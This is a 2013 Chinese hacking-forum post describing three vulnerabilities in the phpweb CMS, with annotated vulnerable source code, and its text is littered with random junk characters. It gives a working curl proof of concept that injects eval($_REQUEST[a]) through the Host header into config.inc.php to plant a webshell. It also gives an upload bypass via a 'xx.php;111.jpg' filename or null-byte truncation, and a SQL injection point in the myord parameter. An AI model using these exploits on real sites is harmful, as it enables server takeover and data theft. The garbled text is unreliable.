找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2227|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:' ?" H* z( \0 w8 J+ U
  A2 ?8 b3 r6 z
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码- p- z9 y( q) f1 t8 x

0 `8 I- O9 @3 X1 X鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件4 j; P' x5 C4 L- r, |. v
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
4 [1 l# b7 D8 f   T* L9 F0 Y2 h* B* c- m
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响$ x1 n2 L  ~; F- [3 T

4 v4 V, d" j& j. N( _$ r9 M! H分析:' ?/ g& u+ G' B; _
& O* q% d. A% u( Z' G' H
- T% Q1 F: Z' N! w1 B5 N4 k) y) L
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤" p7 h1 Y8 L; h+ Z, K# A* }

% k5 e. i# h. o  y3 H- q                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
* M3 D) M1 P+ ?* C# \! q6 f3 t                                            $filestr=str_replace(" ","",$filestr);8 z( H6 }$ h. r3 B- j
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
4 }0 {: B  {1 {" n" j, T0 H                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);8 k7 f& Q8 i2 V  a5 \: |
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);8 E# x* A; x- \2 R% a6 s& V2 ~2 Y
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);% b7 }3 O0 e7 u+ @0 m
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
+ k1 q: C/ C8 _$ W, o. ^0 H                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);6 Q7 O( S4 z" s- h2 [( C2 ~, @
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
( M0 y" e' L1 L  Y& U- \ + \3 a7 L7 e! i3 F3 L
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
& E$ D% G: @: |- _$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
( b( U9 ^  T, L5 m& D' b , T1 l. u) r3 A
poc:
, ?$ ]! D1 e/ ]) s: ~4 }; Y
5 @% r& Z2 I- O& D" r) `6 C' I?: [' k. Z- C. Z) n& J  U5 V
1
$ z+ O% B  o* H5 U" l; ycurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"6 J) Z8 b  b! c" Q
shell地址: /config.inc.php
2 K4 ]- d& A- e  ]跟之前的 phpcms一样 需要远程数据库: a7 Q5 T% o3 k7 w$ w8 p) f
; C& S" ?; k% ?& _
——————————————————–
. N9 K4 |* U! ?$ G& i上传漏洞(需要进后台):. A2 ]! z) `) ?: L% N
漏洞文件: /kedit/upload_cgi/upload.php8 J9 b1 g$ f- i
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用8 a- E2 K& f7 G

& e  [5 W4 V1 N$ X 8 ^7 T6 }" v* }% }
<?php+ M6 z! z! Q- @
    define("ROOTPATH", "../../");6 i7 i  m6 A+ `2 n; G
    include(ROOTPATH."includes/admin.inc.php");" u/ _# X) x& K- }3 C1 w8 ~
    NeedAuth(0);- n  Y2 d! b7 B

# y- [$ W; [7 K# [" c% }    $dt=date("Ymd",time());
2 @0 p/ t! h# r& m+ H( O& H/ v9 B    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){* A) x8 V) b  \! a8 {+ s
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);  e$ G# D6 {0 N$ d+ B4 S
    }
6 r: a  X7 O  P) a$ C6 [, h" t 5 _; T$ f9 H" n7 b$ @
    //文件保存目录路径7 R$ n' V+ c) l  P( d1 Q
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';7 w( |3 u: P! Q9 r4 \  Y" T, f/ r
    echo $save_path;
# \5 a, c+ \1 m$ z5 X5 ^) u    //文件保存目录URL
5 L6 ^, z3 [$ j4 t; n0 @6 i7 `    $save_url = '../../'.$_POST['attachPath'].$dt.'/';& u5 P/ j( n( s7 K6 W. x/ Q6 w
6 b$ [. I; w1 _
    //定义允许上传的文件扩展名8 b' M+ e+ ?  Z5 g* \
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
8 F8 q* l. z8 Y1 H% E" h$ X , E  h9 C+ A9 X% w; u
    //最大文件大小4 U' z9 W) ]) y! X
    $max_size = 1000000;/ P* `4 R* U! ?- G1 _* d

( x; E) r2 B; S% {    //更改目录权限
) b) ~" Q6 u5 l9 J1 D7 X  `% E    @mkdir($save_path, 0777);( ~' L/ v9 e/ U

: Y0 A3 |/ H/ F( X) ]% I/ `    //文件的全部路径
! p. U4 x# Q6 f" H' [    $file_path = $save_path.$_POST['fileName'];   //保存文件名
0 S: G9 N" b3 K' {$ y
% E# u2 r/ C$ S2 a# [    //文件URL
# e1 v( L9 Z0 }1 v# U    $file_url = $save_url.$_POST['fileName'];, I+ A( n& f0 P8 |. s7 q, q
//有上传文件时$ R$ M7 x0 }" }2 A. f+ d# v
    if (empty($_FILES) === false) {( @( r' m1 M) o' N* H

3 \% o9 P1 y9 Q& {1 O5 Q& s& S            //原文件名
+ h) q* E1 k9 p, K            $file_name = $_FILES['fileData']['name'];
' D4 E/ e( f2 m' g2 I! R            //服务器上临时文件名
5 D2 _9 O6 d+ P  e            $tmp_name = $_FILES['fileData']['tmp_name'];  s* e; w0 h! r% y1 \
            //文件大小" z/ m3 U+ j, H. G2 `' G. y' T
            $file_size = $_FILES['fileData']['size'];
2 J% u* V1 v: e5 d* K5 {" L            //检查目录2 m) ^0 q: ]! ?. ?6 U
            if (@is_dir($save_path) === false) {
/ _! U$ H. ^( s# ~* e: q+ L; e                    alert("上传目录不存在。");
* W% J4 n; Z  A9 P' M5 M* C" o, C            }
, B5 Z% d  n) `$ e# M5 a            //检查目录写权限
9 P5 c9 D9 x; ?' B& V            if (@is_writable($save_path) === false) {1 ]/ U5 [+ u6 I. C
                    alert("上传目录没有写权限。");# v2 h5 ^) E1 }
            }
2 ~0 D" \- [; ^( P5 B. h            //检查是否已上传1 K; {; f% }; D4 N# ~
            if (@is_uploaded_file($tmp_name) === false) {9 [  S- z: v, V2 S& [( S
                    alert("临时文件可能不是上传文件。");
+ _: {. M: \9 L            }
' N7 b1 G0 c# \  O: @0 l/ ~            //检查文件大小  M% b1 [* {8 I1 z; J4 p
            if ($file_size > $max_size) {
7 B: _: o- l) @5 O1 W                    alert("上传文件大小超过限制。");
" J# Y& J& p! q- i0 k+ _$ @            }. W0 C( q* q* S) D# k/ H
            //获得文件扩展名
# x0 l6 a( [  U; Y# @) p% o5 ?1 y) B            $temp_arr = explode(".", $_POST['fileName']);
1 }% f: S5 F/ V7 Q' B            $file_ext = array_pop($temp_arr);
  A" J  _/ D( I) L( U6 T            $file_ext = trim($file_ext);: D( p3 L' ~* L6 ^! Z/ b2 W  o( w+ g
            $file_ext = strtolower($file_ext);; ^+ O2 g* U9 t2 A% {% e! S
! w4 ?5 M/ e! P$ A+ x+ ]% f
            //检查扩展名   
( Z5 R$ b1 A& X0 U% f. z3 g# b            if (in_array($file_ext, $ext_arr) === false) {     
/ I% I& }$ j/ G' ~' u# ~( K                    alert("上传文件扩展名是不允许的扩展名。");
7 g0 J7 M) R7 a) E6 N; z            }  k1 ^. x! }5 o, K/ R, z
' Y: ]4 M- e/ g# m
            //移动文件   
: K  f& M# \6 W' ]8 h            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
, S5 p% W8 }0 l" W            if (move_uploaded_file($tmp_name, $file_path) === false) {
, |, `4 {' ^3 `3 W& s0 f                    alert("上传文件失败。");7 y+ @/ u" s  r, Z# W
            }
, T$ \$ f4 p) J& \
" ^9 X, t1 n, o' O5 X            @chmod($file_path,0666);; Y8 F/ Z" ]+ B9 L& P; E

1 ], b3 k; N$ ?  q3 \8 r! Z    ?>  Z7 I4 V. b  ~* o
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
1 A  }5 q, M( @ 5 J! p- s, O# ]  n* g9 O
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过: M) E5 l6 ~7 l9 y
& g/ F" n' G6 u) E
——————————————————
/ T( o8 ^% {" ]( r. B3 m注入漏洞:
! a7 u. D3 k$ I漏洞文件:search/module/search.php
) X5 o1 |) |) d7 d$ R' \: {: v/search/index.php?key=1&myord=1 [sqlinjection]
* b2 z( {' o1 a5 e. m
* u5 h4 g) M) P/ P2 j + ?$ i/ Q4 X) g9 T8 ]; q0 q9 A6 [
<?php' x7 I: s, W2 `- q0 p
   //       ... 省略 n 行...4 D! l2 c# ~4 ]; _1 W% R( Q
   //第18行:
/ ?3 z. L) h- P0 J+ n. e0 ^           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
# Y  A& K$ B) j1 f           $page=htmlspecialchars($_GET["page"]);/ t2 @8 N" E8 \3 `! S+ J
           $myord=htmlspecialchars($_GET["myord"]);
/ u& h) O/ {8 }8 {" h
8 ?: h6 t* h0 ?! X3 y3 j7 i6 R   //       ... 省略 n 行...
- k; j! m0 g7 \# b0 C. K& ^0 Y6 @   $key,$myord 两个参数带入查询
* ^. [; g! I7 r9 A   //第47行 $key:0 I: F" M5 R" d) a6 C/ C+ x& w
6 X, P$ K  e$ I1 i
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..- e! x4 ?% S7 O9 T2 I
+ H- p; o  O6 M6 j+ |
   //第197行 $myord
( Z# F- d% d* I- q0 Z   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入- R6 d) P3 L- m- n9 b" T1 r9 Y$ i

0 {0 k( ]+ m; m3 ?- g+ r' z   ?>* H" F7 f0 Y& G# j* B, K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表